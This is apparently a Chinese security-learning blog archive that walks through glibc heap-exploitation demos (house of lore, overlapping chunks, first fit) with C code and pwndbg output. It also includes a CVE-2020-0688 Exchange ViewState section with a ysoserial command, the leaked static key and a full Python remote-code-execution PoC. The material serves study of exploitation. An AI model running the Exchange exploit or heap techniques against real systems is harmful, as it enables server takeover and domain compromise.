fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

具体分析

  1. 伪造small bin chain ,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:

    1
    2
    3
    4
    pwndbg> p stack_buffer_1
    $16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
    pwndbg> p stack_buffer_2
    $15 = {0x0, 0x0, 0x7fffffffe0f0}
  2. free victim后,该chunk被分配到unsortedbin里面

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    pwndbg> heap
    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x111
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555c110
    Size: 0x3f0

    Top chunk | PREV_INUSE
    Addr: 0x55555555c500
    Size: 0x20b01

    pwndbg> p victim
    $11 = (intptr_t *) 0x55555555c010
    pwndbg> p victim
    $12 = (intptr_t *) 0x55555555c010
    pwndbg> x/10x 0x55555555c000
    0x55555555c000: 0x00000000 0x00000000 0x00000111 0x00000000
    0x55555555c010: 0xf7dd4b78 0x00007fff 0xf7dd4b78 0x00007fff
    0x55555555c020: 0x00000000 0x00000000
    pwndbg> x/10gx 0x55555555c000
    0x55555555c000: 0x0000000000000000 0x0000000000000111
    0x55555555c010: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
    0x55555555c020: 0x0000000000000000 0x0000000000000000
    0x55555555c030: 0x0000000000000000 0x0000000000000000
    0x55555555c040: 0x0000000000000000 0x0000000000000000
  3. void *p2 = malloc(1200);因为0x1200 无法被UnsortedBin和small bin处理,所以原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    pwndbg> p victim
    $13 = (intptr_t *) 0x55555555c010
    pwndbg> x/10x 0x55555555c000
    0x55555555c000: 0x0000000000000000 0x0000000000000111
    0x55555555c010: 0x00007ffff7dd4c78 0x00007ffff7dd4c78
    0x55555555c020: 0x0000000000000000 0x0000000000000000
    0x55555555c030: 0x0000000000000000 0x0000000000000000
    0x55555555c040: 0x0000000000000000 0x0000000000000000
    pwndbg> heap
    Free chunk (smallbins) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x111
    fd: 0x7ffff7dd4c78
    bk: 0x7ffff7dd4c78

    Allocated chunk
    Addr: 0x55555555c110
    Size: 0x3f0

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c500
    Size: 0x4c1

    Top chunk | PREV_INUSE
    Addr: 0x55555555c9c0
    Size: 0x20641
  4. 假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin;victim[1] = (intptr_t)stack_buffer_1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    pwndbg> p stack_buffer_1
    $16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
    pwndbg> p stack_buffer_2
    $15 = {0x0, 0x0, 0x7fffffffe0f0}
    pwndbg> heap
    Free chunk (smallbins) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x111
    fd: 0x7ffff7dd4c78
    bk: 0x7fffffffe0f0

    Allocated chunk
    Addr: 0x55555555c110
    Size: 0x3f0

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c500
    pwndbg> x/10gx 0x7fffffffe0d0
    0x7fffffffe0d0: 0x0000000000000000 0x0000000000000000
    0x7fffffffe0e0: 0x00007fffffffe0f0 0x00005555555557ad
    0x7fffffffe0f0: 0x0000000000000000 0x0000000000000000
    0x7fffffffe100: 0x000055555555c000 0x00007fffffffe0d0
    0x7fffffffe110: 0x00007fffffffe200 0xe853fa59889b9000
  5. small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。而ictim chunk是最后进入small bins 的,所以这时整条链是这样的:

    1
    head <-> fake chunk2 0x00007fffffffe0f0<->0x00007fffffffe0d0 fake chunk 1 0x000055555555c000 <-> 0x7fffffffe0f0 victim chunk <-> 0x7ffff7dd4c78 tail
  6. 接下来的第一个 malloc,会返回 victim chunk 的地址,再次malloc即可得到fake chunk1的地址,且地址在栈上我们可以控制。

Overlapping_Chunks

利用原理

free一个chunk,加入unsorted bin,修改加大其size,再malloc,得到一个能覆盖下一个chunk的chunk

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/*

A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


intptr_t *p1,*p2,*p3,*p4;

fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);

fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
fprintf(stderr, "This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");

fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

fprintf(stderr, "Let's run through an example. Right now, we have:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

具体分析

  1. *(p2-1) = evil_chunk_size使free掉的chunk大小被篡改0x101->0x181

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x101

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555b100
    Size: 0x181
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Top chunk | PREV_INUSE
    Addr: 0x55555555b280
    Size: 0x20d81
  2. p4 = malloc(evil_region_size);可以看到p4的大小为0x181,覆盖掉了p3。此时p4还没有被赋值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x101

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b100
    Size: 0x181

    Top chunk | PREV_INUSE
    Addr: 0x55555555b280
    Size: 0x20d81
    pwndbg> p p3
    $3 = (intptr_t *) 0x55555555b210
    pwndbg> p p4
    $4 = (intptr_t *) 0x55555555b110
    pwndbg> x/100x 0x55555555b100
    0x55555555b100: 0x3131313131313131 0x0000000000000181
    0x55555555b110: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
    0x55555555b120: 0x3232323232323232 0x3232323232323232
    0x55555555b130: 0x3232323232323232 0x3232323232323232
    0x55555555b140: 0x3232323232323232 0x3232323232323232
    0x55555555b150: 0x3232323232323232 0x3232323232323232
    0x55555555b160: 0x3232323232323232 0x3232323232323232
    0x55555555b170: 0x3232323232323232 0x3232323232323232
    0x55555555b180: 0x3232323232323232 0x3232323232323232
    0x55555555b190: 0x3232323232323232 0x3232323232323232
    0x55555555b1a0: 0x3232323232323232 0x3232323232323232
    0x55555555b1b0: 0x3232323232323232 0x3232323232323232
    0x55555555b1c0: 0x3232323232323232 0x3232323232323232
    0x55555555b1d0: 0x3232323232323232 0x3232323232323232
    0x55555555b1e0: 0x3232323232323232 0x3232323232323232
    0x55555555b1f0: 0x3232323232323232 0x3232323232323232
    0x55555555b200: 0x0000000000000100 0x0000000000000080
    0x55555555b210: 0x3333333333333333 0x3333333333333333
    0x55555555b220: 0x3333333333333333 0x3333333333333333
    0x55555555b230: 0x3333333333333333 0x3333333333333333
    0x55555555b240: 0x3333333333333333 0x3333333333333333
    0x55555555b250: 0x3333333333333333 0x3333333333333333
    0x55555555b260: 0x3333333333333333 0x3333333333333333
    0x55555555b270: 0x3333333333333333 0x3333333333333333
    0x55555555b280: 0x3333333333333333 0x0000000000020d81
    0x55555555b290: 0x0000000000000000 0x0000000000000000
    p4 = xK???
    p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333?
  3. memset(p4, ‘4’, evil_region_size);为p4赋值,覆盖掉了p3

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    pwndbg> x/100x 0x55555555b100
    0x55555555b100: 0x3131313131313131 0x0000000000000181
    0x55555555b110: 0x3434343434343434 0x3434343434343434
    0x55555555b120: 0x3434343434343434 0x3434343434343434
    0x55555555b130: 0x3434343434343434 0x3434343434343434
    0x55555555b140: 0x3434343434343434 0x3434343434343434
    0x55555555b150: 0x3434343434343434 0x3434343434343434
    0x55555555b160: 0x3434343434343434 0x3434343434343434
    0x55555555b170: 0x3434343434343434 0x3434343434343434
    0x55555555b180: 0x3434343434343434 0x3434343434343434
    0x55555555b190: 0x3434343434343434 0x3434343434343434
    0x55555555b1a0: 0x3434343434343434 0x3434343434343434
    0x55555555b1b0: 0x3434343434343434 0x3434343434343434
    0x55555555b1c0: 0x3434343434343434 0x3434343434343434
    0x55555555b1d0: 0x3434343434343434 0x3434343434343434
    0x55555555b1e0: 0x3434343434343434 0x3434343434343434
    0x55555555b1f0: 0x3434343434343434 0x3434343434343434
    0x55555555b200: 0x3434343434343434 0x3434343434343434
    0x55555555b210: 0x3434343434343434 0x3434343434343434
    0x55555555b220: 0x3434343434343434 0x3434343434343434
    0x55555555b230: 0x3434343434343434 0x3434343434343434
    0x55555555b240: 0x3434343434343434 0x3434343434343434
    0x55555555b250: 0x3434343434343434 0x3434343434343434
    0x55555555b260: 0x3434343434343434 0x3434343434343434
    0x55555555b270: 0x3434343434343434 0x3434343434343434
    0x55555555b280: 0x3434343434343434 0x0000000000020d81

Overlapping_Chunks_2

利用原理

malloc 5个chunk,修改chunk2的size将其变大,然后free这个chunk,修改了

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/*
Yet another simple tale of overlapping chunk.

This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.

This is also referenced as Nonadjacent Free Chunk Consolidation Attack.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

fprintf(stderr, "\nThis is a simple chunks overlapping problem");
fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");

p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");

free(p4);

fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
free(p2);

fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

fprintf(stderr, "\nLet's write something inside p6\n");
memset(p6,'F',1500);

fprintf(stderr, "\nData inside chunk p3: \n\n");
fprintf(stderr, "%s\n",(char *)p3);


}

具体分析

  1. (unsigned int )((unsigned char )p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) 2;执行前后p2的chunksize被修改成了p2+p3+prev_in_use
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x55555555b7e0
Size: 0x3f1

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555bbd0
Size: 0x3f1
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78

Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0

Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51


Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x7e1

pwndbg> x/10gx 0x55555555bfb0
0x55555555bfb0: 0x4444444444444444 0x4444444444444444
0x55555555bfc0: 0x00000000000003f0 0x00000000000003f0
0x55555555bfd0: 0x4545454545454545 0x4545454545454545
  1. free(p2);后合并了chunk4和chunk2,并且修改了chunk5的prev_size得到一个大的free chunk,而这个free chunk覆盖了chunk3

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x3f1

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555b3f0
    Size: 0xbd1
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555bfc0
    Size: 0x3f0

    Top chunk | PREV_INUSE
    Addr: 0x55555555c3b0
    Size: 0x1fc51

    wndbg> x/10gx 0x55555555bfb0
    0x55555555bfb0: 0x4444444444444444 0x4444444444444444
    0x55555555bfc0: 0x0000000000000bd0 0x00000000000003f0
    0x55555555bfd0: 0x4545454545454545 0x4545454545454545
    0x55555555bfe0: 0x4545454545454545 0x4545454545454545
  2. p6 = malloc(2000);得到前面free的大chunk

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559000
    Size: 0x291

    Allocated chunk | PREV_INUSE
    Addr: 0x555555559290
    Size: 0x3f1

    Allocated chunk | PREV_INUSE
    Addr: 0x555555559680
    Size: 0x7e1

    Free chunk (tcache) | PREV_INUSE
    Addr: 0x555555559e60
    Size: 0x3f1
    fd: 0x00

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555a250
    Size: 0x3f1

    chunk p6 from 0x55555555b400 to 0x55555555bbd8
    chunk p3 from 0x55555555b7f0 to 0x55555555bbd8
  3. 修改p6的内容即等于修改p3的内容

前置知识

.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。
加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。
.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。
.Net 反序列化之 ViewState 利用

漏洞详情

CVE-2020-0688 漏洞是因为用于保证viewstate安全性的静态密钥在所有Microsoft Exchange Server在安装后的web.config文件中都是相同的

1
2
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1

我们要构造ViewState还需要viewstateuserkey和__VIEWSTATEGENERATOR,这两个参数可以在用户登录后通过前端页面直接获取/ecp/default.aspx

漏洞利用

当拥有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR,使用YSoSerial.net生成序列化后的恶意的ViewState数据。

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

然后对ViewState的payload进行URL编码,构造一个url如下:

1
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

由于Exchange Server的机器用户具备SYSTEM权限,默认在域内拥有WriteAcl的权限,因此,可以通过修改ACL的DS-Replication-Get-Changes和DS-Replication-Get-Changes-All来赋予任何一个用户Dcsync的权限,所以这个漏洞的最大危害在于:在域内拥有一个普通用户权限的情况下,通过Exchange Server上以system用户的身份执行任意的命令,再利用Exchange Server的WriteAcl权限,从而达到域管权限。

POC

github上的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf-8
#author:Jumbo
import readline
import requests
import re
import sys
import urllib3
urllib3.disable_warnings()
from urllib.parse import quote



def Exp(url,ASP_NET_SessionId,generator_result,command):
validationkey = 'CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF'
VIEWSTATECOMMAND = 'ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{command}" --validationalg="SHA1" --validationkey="{validationkey}" --generator="{generator_result}" --viewstateuserkey="{ASP_NET_SessionId}" --isdebug –islegacy'.format(command=command,validationkey=validationkey, generator_result=generator_result,ASP_NET_SessionId=ASP_NET_SessionId)
print('please execute \n{VIEWSTATECOMMAND}'.format(VIEWSTATECOMMAND=VIEWSTATECOMMAND))
fuckkk = input('please write your ysoserial generate payload: ')
fuckkk = quote(fuckkk, 'utf-8')
expurl = 'https://{url}/ecp/default.aspx?__VIEWSTATEGENERATOR={generator_result}&__VIEWSTATE={fuckkk}'.format(url=url,generator_result=generator_result,fuckkk=fuckkk)
print(expurl)
expgo = s.get(expurl,verify=False)
print(expgo.status_code)
print('gogogoggogoggogogogogogogogogogog')

def GetSomething():
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]
destination = 'https://' + url + '/ecp/default.aspx'
authurl = 'https://' + url + '/owa/auth.owa'
logindata = 'destination={destination}&flags=4&forcedownlevel=0&username={username}&password={password}&passwordText=&isUtf8=1'.format(destination=destination,username=username, password=password)
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded","Cookie":"PrivateComputer=true; PBack=0"}
login = s.post(authurl, data=logindata,headers=headers,verify=False)
logincontent = login.content
# print(logincontent)
ASP_NET_SessionId = login.cookies['ASP.NET_SessionId']
if ASP_NET_SessionId:
print('got ASP_NET_SessionId Success')
print(ASP_NET_SessionId)
else:
print('got ASP_NET_SessionId Fail')
generator_regex = b'VIEWSTATEGENERATOR" value="(.*?)"'
try:
generator_result = re.findall(generator_regex,logincontent)[0].decode('utf-8')
if generator_result:
print('got generator_result Success')
print(generator_result)
else:
print('got generator_result Fail,try default')

except Exception as e:
generator_result = 'B97B4E27'
print(generator_result)




Exp(url,ASP_NET_SessionId,generator_result,command)

s = requests.Session()
GetSomething()

ref

https://nosec.org/home/detail/4158.html
https://www.freebuf.com/articles/web/228681.html
https://www.anquanke.com/post/id/199921
https://github.com/random-robbie/cve-2020-0688

前置知识

四个不同类型chunk区别

  • fast chunk 大小在32字节~128字节(0x20~0x80)的chunk称为“fast chunk”

  • small chunk 小于1024字节(0x400)

  • large chunk 大于等于1024字节(0x400)

  • unsorted bin 当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中,系统就将这些chunk添加到unsorted bin中

First_Fit UAF

利用原理

在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;

fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

具体分析

  1. malloc后,bin是空的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    pwndbg> x/10x 0x555555559290
    0x555555559290: 0x00000000 0x00000000 0x00000521 0x00000000
    0x5555555592a0: 0x00000000 0x00000000 0x00000000 0x00000000
    0x5555555592b0: 0x00000000 0x00000000
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559000
    Size: 0x291

    Allocated chunk | PREV_INUSE
    Addr: 0x555555559290
    Size: 0x521

    Allocated chunk | PREV_INUSE
    Addr: 0x5555555597b0
    Size: 0x261

    Top chunk | PREV_INUSE
    Addr: 0x555555559a10
    Size: 0x205f1
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
  2. free后chunk被放到了unsorted bin中,且chunk上放入了fd/bk,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
